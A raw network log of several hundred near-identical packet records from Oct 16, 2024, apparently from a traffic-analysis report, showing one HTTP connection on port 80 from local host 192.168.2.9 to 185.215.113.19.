Oct 16, 2024 19:22:40.026021004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026021004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026060104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026060104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026096106 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026129961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026129961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026153088 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026160002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026196957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026196957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026231050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026231050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026344061 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026344061 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026344061 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026344061 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026344061 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026377916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026377916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026496887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026496887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026496887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026496887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026496887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026496887 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026529074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026529074 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026588917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026588917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026880980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026880980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026880980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026880980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026880980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.026909113 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027038097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027038097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027038097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027038097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027038097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027038097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027038097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027102947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027102947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027102947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027127981 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027232885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027232885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027232885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027232885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027232885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027232885 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027299881 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027299881 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027299881 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027381897 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027381897 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027381897 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027381897 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027432919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027432919 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027468920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027520895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027626038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027626038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027702093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027702093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027702093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027702093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027702093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027702093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027702093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027774096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027774096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027774096 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027775049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027825117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027825117 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027895927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027895927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027973890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027973890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027973890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.027973890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028018951 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028018951 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028018951 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028040886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028040886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028078079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028078079 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028141022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028141022 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028177977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028177977 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028213978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028213978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028322935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028322935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028322935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028322935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028322935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028322935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028350115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028350115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028433084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028433084 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028448105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028448105 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028511047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028511047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028511047 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028547049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028547049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028695107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028695107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028695107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.028695107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029052973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029053926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029053926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029053926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029053926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029122114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029122114 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029156923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029156923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029268980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029269934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029269934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029325962 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029325962 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029397011 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029488087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029488087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029488087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029488087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029520988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029520988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029668093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029668093 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029825926 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029912949 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029912949 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029912949 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029912949 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029978991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.029978991 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030014038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030014038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030029058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030029058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030169964 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030169964 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030169964 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030169964 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030169964 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030169964 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030333996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030333996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030333996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030416012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030416012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030416012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030416012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030472994 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030473948 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030560017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030560017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030560017 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030643940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030643940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030791998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030791998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030791998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030791998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030791998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030791998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030833960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030833960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030864954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030864954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030896902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030896902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030970097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030970097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030970097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.030970097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031111002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031183004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031183004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031202078 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031243086 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031243086 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031311035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031361103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031361103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031408072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031408072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031408072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031408072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031451941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031451941 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031526089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.031526089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032010078 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032063961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032063961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032063961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032063961 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032064915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032064915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032064915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032064915 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032079935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032079935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032120943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032120943 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032177925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032177925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032201052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032201052 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032239914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032239914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032308102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032308102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032308102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032308102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032346964 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032346964 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032391071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032391071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032480955 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032537937 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032537937 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032592058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032592058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032592058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032723904 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032723904 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032723904 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032764912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032764912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032785892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032785892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032825947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032825947 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032875061 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032875061 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032919884 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032968998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.032968998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033101082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033101082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033101082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033101082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033101082 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033148050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033148050 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033209085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033209085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033209085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033209085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033288956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033288956 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033289909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033289909 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033504009 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033574104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033574104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033605099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033605099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033652067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033652067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033704996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033704996 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033746004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033746004 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033771038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033771038 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033792973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033792973 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033866882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033866882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033907890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033907890 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033930063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033930063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033965111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.033965111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034111023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034111023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034111023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034140110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034140110 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034255028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034255028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034255028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034281969 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034281969 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034323931 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034414053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034414053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034414053 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034471989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034471989 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034518957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034518957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034588099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034588099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034588099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034627914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034627914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034665108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034665108 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034703970 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034703970 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034789085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034789085 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034971952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034971952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034971952 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034996986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.034996986 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.035057068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.035057068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.035085917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.035085917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.035142899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.035142899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.035142899 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.035142899 CEST	49716	80	192.168.2.9	185.215.113.19
